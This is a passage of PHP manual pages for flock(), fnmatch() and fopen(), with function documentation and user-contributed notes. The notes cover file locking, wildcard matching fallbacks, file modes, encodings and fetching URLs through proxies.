fclose( $fp );
?>

----------
<?php
// b.php

$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

// ftruncate($fp, 0) is needed here! <----

$steps = 5;
// write to the file
for ($i=0; $i< $steps; $i++) {
    fwrite($fp, 'b '.time().' test '. $i."\n");
    sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
?>

Loading a.php then loading b.php right after will result in:
b 1054075769 test 0
b 1054075770 test 1
b 1054075771 test 2
b 1054075772 test 3
b 1054075773 test 4
a 1054075764 test 5
a 1054075765 test 6
a 1054075766 test 7
a 1054075767 test 8
a 1054075768 test 9

As you can see, b.php does not truncate the file as the w+ would suggest if the file were instantly available. But only moves the pointer to the begining of the file. If b.php was loaded after a.php finished then there would be no "a ..." lines in the file, since it would be truncated.

To fix this you have to add ftruncate($fp, 0) right after the flock.

'r+' and 'a' seem to work fine, though.
geoff at message dot hu 06-Aug-2002 10:10
You should lock the file _before_ opening it, and unlock _after_ closing it. Othervise an another process might be able to access the file between the lock/unlock and the open/close operation.


Match filename against a pattern

  • « flock
  • fopen »
  • PHP Manual
  • Filesystem Functions
  • Match filename against a pattern

fnmatch

(PHP 4 >= 4.3.0, PHP 5)

fnmatch — Match filename against a pattern

Description

bool fnmatch ( string $pattern , string $string [, int $flags = 0 ] )

fnmatch() checks if the passed string would match the given shell wildcard pattern.

Parameters

pattern

The shell wildcard pattern.

string

The tested string. This function is especially useful for filenames, but may also be used on regular strings.

The average user may be used to shell patterns or at least in their simplest form to '?' and '*' wildcards so using fnmatch() instead of preg_match() for frontend search expression input may be way more convenient for non-programming users.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

A list of possible flags for fnmatch()
Flag | Description
FNM_NOESCAPE | Disable backslash escaping.
FNM_PATHNAME | Slash in string only matches slash in the given pattern.
FNM_PERIOD | Leading period in string must be exactly matched by period in the given pattern.
FNM_CASEFOLD | Caseless match. Part of the GNU extension.

Return Values

Returns TRUE if there is a match, FALSE otherwise.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Examples

Example #1 Checking a color name against a shell wildcard pattern

<?php
if (fnmatch("*gr[ae]y", $color)) {
  echo "some form of gray ...";
}
?>

Notes

Warning

For now, this function is not available on non-POSIX compliant systems except Windows.

See Also

  • glob() - Find pathnames matching a pattern
  • preg_match() - Perform a regular expression match
  • sscanf() - Parses input from a string according to a format
  • printf() - Output a formatted string
  • sprintf() - Return a formatted string

User Contributed Notes

bwilcock at gmail dot com 13-Nov-2013 12:49
fnmatch is not 100% reliable. Bug 14185 is still open and may or may not have been patched.

In certain wildcard circumstance fnmatch("*needle*", $haystack, match) returns false intermittantly

However stripos or preg returns a "find".
bernd dot ebert at gmx dot net 13-Jul-2012 08:21
There is a problem within the  pcre_fnmatch-Function concerning backslashes. Those will be masked by preq_quote and ADDITONALLY by the strtr if FN_NOESCAPE is not set -> something like "*a(*" will finally result in "#^.*a\\(.*$#". Note the double backslash which effectively does NOT mask the "(" correctly.

Since preq_quote always matches a backslash I don't think that this'll work with using preg_quote at all.
me at rowanlewis dot com 01-Oct-2010 07:58
Here's a definitive solution, which supports negative character classes and the four documented flags.

<?php

    if (!function_exists('fnmatch')) {
        define('FNM_PATHNAME', 1);
        define('FNM_NOESCAPE', 2);
        define('FNM_PERIOD', 4);
        define('FNM_CASEFOLD', 16);

        function fnmatch($pattern, $string, $flags = 0) {
            return pcre_fnmatch($pattern, $string, $flags);
        }
    }

    function pcre_fnmatch($pattern, $string, $flags = 0) {
        $modifiers = null;
        $transforms = array(
            '\*'    => '.*',
            '\?'    => '.',
            '\[\!'    => '[^',
            '\['    => '[',
            '\]'    => ']',
            '\.'    => '\.',
            '\\'    => '\\\\'
        );

        // Forward slash in string must be in pattern:
        if ($flags & FNM_PATHNAME) {
            $transforms['\*'] = '[^/]*';
        }

        // Back slash should not be escaped:
        if ($flags & FNM_NOESCAPE) {
            unset($transforms['\\']);
        }

        // Perform case insensitive match:
        if ($flags & FNM_CASEFOLD) {
            $modifiers .= 'i';
        }

        // Period at start must be the same as pattern:
        if ($flags & FNM_PERIOD) {
            if (strpos($string, '.') === 0 && strpos($pattern, '.') !== 0) return false;
        }

        $pattern = '#^'
            . strtr(preg_quote($pattern, '#'), $transforms)
            . '$#'
            . $modifiers;

        return (boolean)preg_match($pattern, $string);
    }

?>

This probably needs further testing, but it seems to function identically to the native fnmatch implementation.
Sinured 19-Mar-2008 10:04
An addition to my previous note: My statement regarding the FNM_* constants was wrong. They are available on POSIX-compliant systems (in other words, if fnmatch() is defined).
theboydanny at gmail dot com 29-Nov-2007 07:31
About the windows compat functions below:
I needed fnmatch for a application that had to work on Windows, took a look here and tested both. Jk's works for me, soywiz didn't (on WinXPSP2, PHP 5.2.3).
The only difference between them is addcslashes (soywiz) instead of preg_quote (jk). They _should_ both work, but for some reason soywiz's didn't for me. So YMMV.
However, to make JK's fnmatch() work with the example in the documentation, you also have to strtr the [ and ] in $pattern.
<?php
$pattern = strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.', '\[' => '[', '\]' => ']'));
?>
And thanks for the functions, guys.
Sinured 30-Jul-2007 07:14
Possible flags (scratched out of fnmatch.h):
...::...

FNM_PATHNAME:
> Slash in $string only matches slash in $pattern.

FNM_PERIOD:
> Leading period in $string must be exactly matched by period in $pattern.

FNM_NOESCAPE:
> Disable backslash escaping.

FNM_NOSYS:
> Obsolescent.

FNM_FILE_NAME:
> Alias of FNM_PATHNAME.

FNM_LEADING_DIR:
> From fnmatch.h: /* Ignore `/...' after a match.  */

FNM_CASEFOLD:
> Caseless match.

Since they’re appearing in file.c, but are not available in PHP, we’ll have to define them ourselves:
<?php
define('FNM_PATHNAME', 1);
define('FNM_PERIOD', 4);
define('FNM_NOESCAPE', 2);
// GNU extensions
define('FNM_FILE_NAME', FNM_PATHNAME);
define('FNM_LEADING_DIR', 8);
define('FNM_CASEFOLD', 16);
?>

I didn’t test any of these except casefold, which worked for me.
Frederik Krautwald 12-Jun-2007 07:30
soywiz's function still doesn't seem to work -- at least not with PHP 5.2.3 on Windows -- but jk's does.
jk at ricochetsolutions dot com 13-Dec-2006 02:39
soywiz's function didnt seem to work for me, but this did.

<?php
if(!function_exists('fnmatch')) {

    function fnmatch($pattern, $string) {
        return preg_match("#^".strtr(preg_quote($pattern, '#'), array('\*' => '.*', '\?' => '.'))."$#i", $string);
    } // end

} // end if
?>
phlipping at yahoo dot com 06-Aug-2003 12:59
you couls also try this function that I wrote before I found fnmatch:

function WildToReg($str)
{
  $s = "";
  for ($i = 0; $i < strlen($str); $i++)
  {
   $c = $str{$i};
   if ($c =='?')
    $s .= '.'; // any character
   else if ($c == '*')
    $s .= '.*'; // 0 or more any characters
   else if ($c == '[' || $c == ']')
    $s .= $c;  // one of characters within []
   else
    $s .= '\\' . $c;
  }
  $s = '^' . $s . '$';

  //trim redundant ^ or $
  //eg ^.*\.txt$ matches exactly the same as \.txt$
  if (substr($s,0,3) == "^.*")
   $s = substr($s,3);
  if (substr($s,-3,3) == ".*$")
   $s = substr($s,0,-3);
  return $s;
}

if (ereg(WildToReg("*.txt"), $fn))
  print "$fn is a text file";
else
  print "$fn is not a text file";


Opens file or URL

  • « fnmatch
  • fpassthru »
  • PHP Manual
  • Filesystem Functions
  • Opens file or URL

fopen

(PHP 4, PHP 5)

fopen — Opens file or URL

Description

resource fopen ( string $filename , string $mode [, bool $use_include_path = false [, resource $context ]] )

fopen() binds a named resource, specified by filename, to a stream.

Parameters

filename

If filename is of the form "scheme://...", it is assumed to be a URL and PHP will search for a protocol handler (also known as a wrapper) for that scheme. If no wrappers for that protocol are registered, PHP will emit a notice to help you track potential problems in your script and then continue as though filename specifies a regular file.

If PHP has decided that filename specifies a local file, then it will try to open a stream on that file. The file must be accessible to PHP, so you need to ensure that the file access permissions allow this access. If you have enabled safe mode, or open_basedir further restrictions may apply.

If PHP has decided that filename specifies a registered protocol, and that protocol is registered as a network URL, PHP will check to make sure that allow_url_fopen is enabled. If it is switched off, PHP will emit a warning and the fopen call will fail.

Note:

The list of supported protocols can be found in Supported Protocols and Wrappers. Some protocols (also referred to as wrappers) support context and/or php.ini options. Refer to the specific page for the protocol in use for a list of options which can be set. (e.g. php.ini value user_agent used by the http wrapper).

On the Windows platform, be careful to escape any backslashes used in the path to the file, or use forward slashes.

<?php
$handle = fopen("c:\\folder\\resource.txt", "r");
?>

mode

The mode parameter specifies the type of access you require to the stream. It may be any of the following:

A list of possible modes for fopen() using mode
mode | Description
'r' | Open for reading only; place the file pointer at the beginning of the file.
'r+' | Open for reading and writing; place the file pointer at the beginning of the file.
'w' | Open for writing only; place the file pointer at the beginning of the file and truncate the file to zero length. If the file does not exist, attempt to create it.
'w+' | Open for reading and writing; place the file pointer at the beginning of the file and truncate the file to zero length. If the file does not exist, attempt to create it.
'a' | Open for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it.
'a+' | Open for reading and writing; place the file pointer at the end of the file. If the file does not exist, attempt to create it.
'x' | Create and open for writing only; place the file pointer at the beginning of the file. If the file already exists, the fopen() call will fail by returning FALSE and generating an error of level E_WARNING. If the file does not exist, attempt to create it. This is equivalent to specifying O_EXCL|O_CREAT flags for the underlying open(2) system call.
'x+' | Create and open for reading and writing; otherwise it has the same behavior as 'x'.
'c' | Open the file for writing only. If the file does not exist, it is created. If it exists, it is neither truncated (as opposed to 'w'), nor the call to this function fails (as is the case with 'x'). The file pointer is positioned on the beginning of the file. This may be useful if it's desired to get an advisory lock (see flock()) before attempting to modify the file, as using 'w' could truncate the file before the lock was obtained (if truncation is desired, ftruncate() can be used after the lock is requested).
'c+' | Open the file for reading and writing; otherwise it has the same behavior as 'c'.

Note:

Different operating system families have different line-ending conventions. When you write a text file and want to insert a line break, you need to use the correct line-ending character(s) for your operating system. Unix based systems use \n as the line ending character, Windows based systems use \r\n as the line ending characters and Macintosh based systems use \r as the line ending character.

If you use the wrong line ending characters when writing your files, you might find that other applications that open those files will "look funny".

Windows offers a text-mode translation flag ('t') which will transparently translate \n to \r\n when working with the file. In contrast, you can also use 'b' to force binary mode, which will not translate your data. To use these flags, specify either 'b' or 't' as the last character of the mode parameter.

The default translation mode depends on the SAPI and version of PHP that you are using, so you are encouraged to always specify the appropriate flag for portability reasons. You should use the 't' mode if you are working with plain-text files and you use \n to delimit your line endings in your script, but expect your files to be readable with applications such as notepad. You should use the 'b' in all other cases.

If you do not specify the 'b' flag when working with binary files, you may experience strange problems with your data, including broken image files and strange problems with \r\n characters.

Note:

For portability, it is strongly recommended that you always use the 'b' flag when opening files with fopen().

Note:

Again, for portability, it is also strongly recommended that you re-write code that uses or relies upon the 't' mode so that it uses the correct line endings and 'b' mode instead.

use_include_path

The optional third use_include_path parameter can be set to '1' or TRUE if you want to search for the file in the include_path, too.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns a file pointer resource on success, or FALSE on error.

Errors/Exceptions

If the open fails, an error of level E_WARNING is generated. You may use @ to suppress this warning.

Changelog

Version | Description
5.2.6 | The 'c' and 'c+' options were added
4.3.2 | As of PHP 4.3.2, the default mode is set to binary for all platforms that distinguish between binary and text mode. If you are having problems with your scripts after upgrading, try using the 't' flag as a workaround until you have made your script more portable as mentioned before

Examples

Example #1 fopen() examples

<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:password@example.com/somefile.txt", "w");
?>

Notes

Warning

When using SSL, Microsoft IIS will violate the protocol by closing the connection without sending a close_notify indicator. PHP will report this as "SSL: Fatal Protocol Error" when you reach the end of the data. To work around this, the value of error_reporting should be lowered to a level that does not include warnings. PHP 4.3.7 and higher can detect buggy IIS server software when you open the stream using the https:// wrapper and will suppress the warning. When using fsockopen() to create an ssl:// socket, the developer is responsible for detecting and suppressing this warning.

Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.

Note:

If you are experiencing problems with reading and writing to files and you're using the server module version of PHP, remember to make sure that the files and directories you're using are accessible to the server process.

Note:

This function may also succeed when filename is a directory. If you are unsure whether filename is a file or a directory, you may need to use the is_dir() function before calling fopen().

See Also

  • Supported Protocols and Wrappers
  • fclose() - Closes an open file pointer
  • fgets() - Gets line from file pointer
  • fread() - Binary-safe file read
  • fwrite() - Binary-safe file write
  • fsockopen() - Open Internet or Unix domain socket connection
  • file() - Reads entire file into an array
  • file_exists() - Checks whether a file or directory exists
  • is_readable() - Tells whether a file exists and is readable
  • stream_set_timeout() - Set timeout period on a stream
  • popen() - Opens process file pointer
  • stream_context_create() - Creates a stream context
  • umask() - Changes the current umask
  • SplFileObject

User Contributed Notes

Antoine 05-Sep-2014 12:55
On a Windows webserver, when using fopen with a file path stored in a variable, PHP will return an error if the variable isn't encoded in ASCII, which may be the case if the file file path is retrieved from a database.

Possible workaround :
<?
$encoding = mb_detect_encoding($filePath);
$filePath = mb_convert_encoding($filePath, "ASCII", $encoding);
$filePath = str_replace("?", "", $filePath);
$filePath = addslashes($filePath);

if(file_exists($filePath)) {
    echo "File Found.";
    $handle       = fopen($filePath, "r");
    $fileContents = fread($handle, filesize($filePath));
    fclose($handle);
    if(!empty($fileContents)) {
        echo "<pre>".$fileContents."</pre>";
    }
}
else {
    echo "File Not Found.";
}
?>
contact at sergeylukin dot com 21-Aug-2013 08:53
Here is how you could modify file's contents by only opening it once in "r+" mode:

<?php
$filePath = '/path/to/file';
if( !@$fh = fopen($filePath, 'r+') ) {
  die("Could not open $filePath in READ+WRITE mode");
}

// Extract contents
$contents = fread($fh, filesize($filePath));

// ..modify $contents in any way you need..

// Truncate file (important to move the pointer first)
fseek($fh, 0);
ftruncate($fh, 0);

// Write
fwrite($fh, $contents);

fclose($fh);
?>
simon dot riget at gamil dot com 22-May-2013 03:50
Writing and reading on a serial port.

If you are unable or unwilling to install the serial device library for PHP, its still possible to communicate through a serial port or USB device.

There are two issues to note:
- you must use a system call to set the port control options
- you must use NON blocking stream mode for reading (not for writing unless you use flow control)

<?php
// Set timeout to 500 ms
$timeout=microtime(true)+0.5;

// Set device controle options (See man page for stty)
exec("/bin/stty -F /dev/ttyS0 19200 sane raw cs8 hupcl cread clocal -echo -onlcr ");

// Open serial port
$fp=fopen("/dev/ttyS0","c+");
if(!$fp) die("Can't open device");

// Set blocking mode for writing
stream_set_blocking($fp,1);
fwrite($fp,"foo\n");

// Set non blocking mode for reading
stream_set_blocking($fp,0);
do{
  // Try to read one character from the device
  $c=fgetc($fp);

  // Wait for data to arive
  if($c === false){
      usleep(50000);
      continue;
  }

  $line.=$c;

}while($c!="\n" && microtime(true)<$timeout);

echo "Responce: $line";
?>
simon dot riget at gmail dot com 03-Apr-2013 06:41
The following is an  example of file locking used in a function to share an array between processes.
In this example the function reads the array, possibly remove stuff like spend semaphores and insert new stuff to share.
The file gets locked for writing thus making sure that two processes doesn't inadvertently delete each others data.

The function can be called multiple times during a script, which becomes increasingly important if you write HTML5 Server Sent Events and websockets apps, since the script dose not end when the page are loaded. (there are other issues with that like garbage collection and memory leaks)
Using the “c” mode of fopen, removes the (remote) change of a race condition to the file lock.

Be aware that the function filesize() is not working correctly when files are in cash memory. You could flush the cash or in this case, since the file size of IPC are neglectable, just give a very large number as length parameter to fread.

<?php
function ipc($new_record=""){
  $update=false;

  // Open file with locking
  $handle=fopen("example.dat","c+");

  // Lock the file for writing
  flock($handle,LOCK_EX);

  // Get file size.
  // you can either fluch the file cash to get an acurate number
  // clearstatcache();
  // Or use a large number

  // Load event file into array
  $contents=fread($handle,10000000);

  $ipc_array=json_decode($contents,true);

  // Clean out old stuff
  if(is_array($ipc_array)){
    $timeout=time()-60;
    foreach($ipc_array as $key=>$record){
      // eg remove spend semaphores or timed out messages
      if( $record['time'] < $timeout ){
        unset($ipc_array[$key]);
        $update=true;
      }
    }
  }

  // Add new message
  if(is_array($new_record)){
    $new_record['time']=time();
    $ipc_array[]=$new_record;
    $update=true;
  }

  // Write file and end
  if($update){
    // Overwrite the old data
    ftruncate($handle,0);
    rewind($handle);

    // Write the new array to file
    fwrite($handle,json_encode($ipc_array,JSON_NUMERIC_CHECK));
  }

  // Unlock the file - you have to do it! it doesn't happen on fclose
  flock($handle,LOCK_UN);

  // Close the file
  fclose($handle);

  return $ipc_array;
}

// Read messages
$ipc=ipc();

// Show messages
foreach( $ipc as $record)
  echo $record['message'] ."<br>\n";

// Send a message
$message["message"]="hello world.";
$message["foo"]="bar";
$ipc=ipc($message);
?>
apathetic012 at gmail dot com 05-Sep-2012 12:19
a variable $http_response_header is available when doing the fopen(). Which contains an array of the response header.
chapman at worldtakeoverindustries dot com 10-Mar-2012 04:25
Note - using fopen in 'w' mode will NOT update the modification time (filemtime) of a file like you may expect. You may want to issue a touch() after writing and closing the file which update its modification time. This may become critical in a caching situation, if you intend to keep your hair.
kasper at webmasteren dot eu 11-Feb-2012 05:36
"Do not use the following reserved device names for the name of a file:
CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1,
LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names
followed immediately by an extension; for example, NUL.txt is not recommended.
For more information, see Namespaces"
it is a windows limitation.
see:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx
merye at web-graphique dot com 19-Aug-2011 10:10
I had to switch from relative paths to full paths when my web host recently migrated the server onto their hosting cloud.  This used to work for me:

<?php
$fplog = fopen('ipn.log','a');
?>

After the migration, however, I received the following error message:

Warning: fopen(ipn.log) [function.fopen]: failed to open stream: Permission denied in D:\home\server_name\log_test.php on line 21

I had to change the code to the following to get it to work:

<?php
$logfile = $_SERVER['DOCUMENT_ROOT'].'\\ipn.log';
$fplog = fopen($logfile,'a');
?>
php at richardneill dot org 01-Aug-2011 06:39
fopen() will block if the file to be opened is a fifo. This is true whether it's opened in "r" or "w" mode.  (See man 7 fifo: this is the correct, default behaviour; although Linux supports non-blocking fopen() of a fifo, PHP doesn't).
The consequence of this is that you can't discover whether an initial fifo read/write would block because to do that you need stream_select(), which in turn requires that fopen() has happened!
splogamurugan at gmail dot com 09-Jun-2011 11:13
While opening a file with multibyte data (Ex: données multi-octets), faced some issues with the encoding. Got to know that it uses  windows-1250. Used iconv to convert it to UTF-8 and it resolved the issue.

<?php
function utf8_fopen_read($fileName) {
    $fc = iconv('windows-1250', 'utf-8', file_get_contents($fileName));
    $handle=fopen("php://memory", "rw");
    fwrite($handle, $fc);
    fseek($handle, 0);
    return $handle;
}
?>

Example usage:

<?php
$fh = utf8_fopen_read("./tpKpiBundle.csv");
while (($data = fgetcsv($fh, 1000, ",")) !== false) {
    foreach ($data as $value) {
        echo $value . "<br />\n";
    }
}
?>

Hope it helps.
owltech at larkandowl dot net 07-Feb-2011 08:20
[fopen note]

I have been trying unsuccessfully to upload and read a Mac OS file on a Linux server. Lots of records show up a just one big using only the following:

<?php $fhandle = fopen($file, 'r'); ?>
  or
<?php $fhandle = fopen($file, 'rb'); ?>

It does work, however, this way:

<?php
ini_set('auto_detect_line_endings', TRUE);
$fhandle = fopen($file, 'r');
?>
Brad G 16-Oct-2010 11:10
While adding CFLAGS="-D_FILE_OFFSET_BITS=64" immediately before calling "./configure" on the PHP source will enable support for using fopen() on large files (greater than 2 GB), note that -- if such an installation of PHP is used in conjunction with Apache HTTPD [2.x], Apache will become completely unresponsive even when not serving output from a PHP application.

In order to gain large file support for non-web applications while maintaining the operability of Apache, consider making two distinct PHP installations:  one with the above CFLAGS specified during configuration (for non-web uses), and the other without this flag (for use with Apache).
eyrie88 at gmail dot com 01-Aug-2010 04:39
Be aware that fopen($url) also respects HTTP status headers. If the URL responds with a 1xx, 4xx, or 5xx status code, you will get a "failed to open stream: HTTP request failed!", followed by the HTTP status response. Same goes for file_get_contents($url)...
anfragen at tsgames dot de 27-May-2010 02:54
Since the http-wrapper doesn't support stat() and so you can't use file_exists() for url's, you can simply use a function like this:

<?php
function http_file_exists($url)
{
$f=@fopen($url,"r");
if($f)
{
fclose($f);
return true;
}
return false;
}
?>
magnetik at magnetik dot org 21-Jan-2010 03:43
There IS an option to use fopen with a proxy, it's in $context.
No need to recode everything.
Pastix 20-Jan-2010 12:04
If fopen() has been disabled for security reasons, is possible a porting FROM:

<?php
$f=fopen($file,'rb');
$data='';
while(!feof($f))
    $data.=fread($f,$size);
fclose($f);
?>

TO:

<?php
$data = file_get_contents($file); // (PHP 4 >= 4.3.0, PHP 5)
?>

and also a porting FROM:

<?php
$f = fopen($file,'wb');
fwrite($f,$content,strlen($content));
fclose($f);
?>

TO:

<?php
$f=file_put_contents($file, $content); // (PHP 5)
?>

For detail read the php manual.
rene 04-Jan-2010 11:43
if fopen() throws a E_WARNING "failed to open stream: HTTP request failed!" at you when opening a valid URL that you know returns data, i advise you to do the following before calling fopen($url,'r'):

<?php
ini_set ('user_agent', $_SERVER['HTTP_USER_AGENT']);
?>

or anyways, set that 'user_agent' with ini_set() to something valid.

thanks, pollita|at|php.net @ http://bugs.php.net/bug.php?id=22937#c64196 , for the clue to this
b dot evieux at gmail dot com 27-Nov-2009 12:28
Hello all. I have had trouble getting files through proxy, and the solution posted above only works if the requested file is also hosted on the proxy server (which is quite unlikely). so I've put together the following functions pfopen & preadfile. they quite work like the replaced fopen & readfile, and will resort to them if no proxy is provided :)

<?php
function preadfile($_url, $_proxy_name = null, $_proxy_port = 4480){
  if(is_null($_proxy_name) || LOCAL_TEST){
    return readfile($_url);
  }else{
    $proxy_cont = '';

    $proxy_fp = pfopen($_url, $_proxy_name, $_proxy_port);
    while(!feof($proxy_fp)) {$proxy_cont .= fread($proxy_fp,4096);}
    fclose($proxy_fp);

    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    echo $proxy_cont;
    return count($proxy_cont);
  }
}
function pfopen($_url, $_proxy_name = null, $_proxy_port = 4480) {
  if(is_null($_proxy_name) || LOCAL_TEST){
    return fopen($_url);
  }else{
    $proxy_fp = fsockopen($_proxy_name, $_proxy_port);
    if (!$proxy_fp) return false;
    $host= substr($_url, 7);
    $host = substr($bucket, 0, strpos($host, "/"));

    $request = "GET $_url HTTP/1.0\r\nHost:$host\r\n\r\n";

    fputs($proxy_fp, $request);

    return $proxy_fp;
  }
}
?>
gmdebby at gmail dot com 08-Jun-2009 03:49
I was wondering why was added the "x" mode, it works only if the file do not exists, will create it and open it in read only, it's useless !!
But I found something I could do with that.

Here is a little mk_file function.

<?php
function mk_file($filename) {
    if(!is_file($filename)) {
        fclose(fopen($filename,"x")); //create the file and close it
        return true;
    } else return false; //file already exists
}
?>

You can improve it, add chmod support etc...
php at delhelsa dot com 24-Jun-2008 09:27
With php 5.2.5 on Apache 2.2.4, accessing files on an ftp server with fopen() or readfile() requires an extra forwardslash if an absolute path is needed.

i.e., if a file called bullbes.txt is stored under /var/school/ on ftp server example.com and you're trying to access it with user blossom and password buttercup, the url would be:

ftp://blossom:buttercup@example.com//var/school/bubbles.txt

Note the two forwardslashes. It looks like the second one is needed so the server won't interpret the path as relative to blossom's home on townsville.
webmaster at myeshop dot fr 26-Apr-2008 04:40
Also a small function useful for backup for example. It's a mixed between the fopen() and the mkdir() functions.

This function opens a file but also make the path recursively where the file is contained. This is helpful for ending to finish with "No such file or directory in" errors

<?php
function fopen_recursive($path, $mode, $chmod=0755){
  preg_match('`^(.+)/([a-zA-Z0-9]+\.[a-z]+)$`i', $path, $matches);
  $directory = $matches[1];
  $file = $matches[2];

  if (!is_dir($directory)){
    if (!mkdir($directory, $chmod, 1)){
    return FALSE;
    }
  }
 return fopen ($path, $mode);
}
?>
jphansen at uga dot edu 22-Feb-2008 04:04
If you open a file with r+ and execute an fwrite(), writing less to the file than what it originally was, it will result in the difference being padded with the end of the file from the previous end of the file. Example:

<?php
// Open file for read and string modification
$file = "/test";
$fh = fopen($file, 'r+');
$contents = fread($fh, filesize($file));
$new_contents = str_replace("hello world", "hello", $contents);
fclose($fh);

// Open file to write
$fh = fopen($file, 'r+');
fwrite($fh, $new_contents);
fclose($fh);
?>

If the end of the file was "abcdefghij", you will notice that the difference in "hello world" and "hello", 6 characters, will be appended to the file, resulting in the new ending: "efghij". To obviate this, fopen() with +w instead, which truncates the file to zero length.
sean downey 09-Feb-2008 09:23
when using ssl / https on windows i would get the error:
"Warning: fopen(https://example.com): failed to open stream: Invalid argument in someSpecialFile.php on line 4344534"

This was because I did not have the extension "php_openssl.dll" enabled.

So if you have the same problem, goto your php.ini file and enable it :)
info at NOSPAMPLEASE dot c-eagle dot com 09-Oct-2007 03:14
If there is a file that´s excessively being rewritten by many different users, you´ll note that two almost-simultaneously accesses on that file could interfere with each other. For example if there´s a chat history containing only the last 25 chat lines. Now adding a line also means deleting the very first one. So while that whole writing is happening, another user might also add a line, reading the file, which, at this point, is incomplete, because it´s just being rewritten. The second user would then rewrite an incomplete file and add its line to it, meaning: you just got yourself some data loss!

If flock() was working at all, that might be the key to not let those interferences happen - but flock() mostly won´t work as expected (at least that´s my experience on any linux webserver I´ve tried), and writing own file-locking-functions comes with a lot of possible issues that would finally result in corrupted files. Even though it´s very unlikely, it´s not impossible and has happened to me already.

So I came up with another solution for the file-interference-problem:

1. A file that´s to be accessed will first be copied to a temp-file directory and its last filemtime() is being stored in a PHP-variable. The temp-file gets a random filename, ensuring no other process is able to interfere with this particular temp-file.
2. When the temp-file has been changed/rewritten/whatever, there´ll be a check whether the filemtime() of the original file has been changed since we copied it into our temp-directory.
2.1. If filemtime() is still the same, the temp-file will just be renamed/moved to the original filename, ensuring the original file is never in a temporary state - only the complete previous state or the complete new state.
2.2. But if filemtime() has been changed while our PHP-process wanted to change its file, the temp-file will just be deleted and our new PHP-fileclose-function will return a FALSE, enabling whatever called that function to do it again (ie. upto 5 times, until it returns TRUE).

These are the functions I´ve written for that purpose:

<?php
$dir_fileopen = "../AN/INTERNAL/DIRECTORY/fileopen";

function randomid() {
    return time().substr(md5(microtime()), 0, rand(5, 12));
}

function cfopen($filename, $mode, $overwriteanyway = false) {
    global $dir_fileopen;
    clearstatcache();
    do {
        $id = md5(randomid(rand(), TRUE));
        $tempfilename = $dir_fileopen."/".$id.md5($filename);
    } while(file_exists($tempfilename));
    if (file_exists($filename)) {
        $newfile = false;
        copy($filename, $tempfilename);
    }else{
        $newfile = true;
    }
    $fp = fopen($tempfilename, $mode);
    return $fp ? array($fp, $filename, $id, @filemtime($filename), $newfile, $overwriteanyway) : false;
}

function cfwrite($fp,$string) { return fwrite($fp[0], $string); }

function cfclose($fp, $debug = "off") {
    global $dir_fileopen;
    $success = fclose($fp[0]);
    clearstatcache();
    $tempfilename = $dir_fileopen."/".$fp[2].md5($fp[1]);
    if ((@filemtime($fp[1]) == $fp[3]) or ($fp[4]==true and !file_exists($fp[1])) or $fp[5]==true) {
        rename($tempfilename, $fp[1]);
    }else{
        unlink($tempfilename);
        if ($debug != "off") echo "While writing, another process accessed $fp[1]. To ensure file-integrity, your changes were rejected.";
        $success = false;
    }
    return $success;
}
?>

$overwriteanyway, one of the parameters for cfopen(), means: If cfclose() is used and the original file has changed, this script won´t care and still overwrite the original file with the new temp file. Anyway there won´t be any writing-interference between two PHP processes, assuming there can be no absolute simultaneousness between two (or more) processes.
simon dot allen at swerve dot co dot nz 10-Apr-2007 04:56
using fopen to upload a file through ftp cannot overwrite that file - use curl instead
ceo at l-i-e dot com 11-Apr-2006 05:13
If you need fopen() on a URL to timeout, you can do like:
<?php
  $timeout = 3;
  $old = ini_set('default_socket_timeout', $timeout);
  $file = fopen('http://example.com', 'r');
  ini_set('default_socket_timeout', $old);
  stream_set_timeout($file, $timeout);
  stream_set_blocking($file, 0);
  //the rest is standard
?>
flobee 15-Jan-2006 04:58
download: i need a function to simulate a "wget url" and do not buffer the data in the memory to avoid thouse problems on large files:
<?php
function download($file_source, $file_target) {
        $rh = fopen($file_source, 'rb');
        $wh = fopen($file_target, 'wb');
        if ($rh===false || $wh===false) {
// error reading or opening file
           return true;
        }
        while (!feof($rh)) {
            if (fwrite($wh, fread($rh, 1024)) === FALSE) {
                   // 'Download error: Cannot write to file ('.$file_target.')';
                   return true;
               }
        }
        fclose($rh);
        fclose($wh);
        // No error
        return false;
    }
?>
info at b1g dot de 24-Oct-2005 01:54
Simple class to fetch a HTTP URL. Supports "Location:"-redirections. Useful for servers with allow_url_fopen=false. Works with SSL-secured hosts.

<?php
#usage:
$r = new HTTPRequest('http://www.example.com');
echo $r->DownloadToString();

class HTTPRequest
{
    var $_fp;        // HTTP socket
    var $_url;        // full URL
    var $_host;        // HTTP host
    var $_protocol;    // protocol (HTTP/HTTPS)
    var $_uri;        // request URI
    var $_port;        // port

    // scan url
    function _scan_url()
    {
        $req = $this->_url;

        $pos = strpos($req, '://');
        $this->_protocol = strtolower(substr($req, 0, $pos));

        $req = substr($req, $pos+3);
        $pos = strpos($req, '/');
        if($pos === false)
            $pos = strlen($req);
        $host = substr($req, 0, $pos);

        if(strpos($host, ':') !== false)
        {
            list($this->_host, $this->_port) = explode(':', $host);
        }
        else
        {
            $this->_host = $host;
            $this->_port = ($this->_protocol == 'https') ? 443 : 80;
        }

        $this->_uri = substr($req, $pos);
        if($this->_uri == '')
            $this->_uri = '/';
    }

    // constructor
    function HTTPRequest($url)
    {
        $this->_url = $url;
        $this->_scan_url();
    }

    // download URL to string
    function DownloadToString()
    {
        $crlf = "\r\n";

        // generate request
        $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf
            .    'Host: ' . $this->_host . $crlf
            .    $crlf;

        // fetch
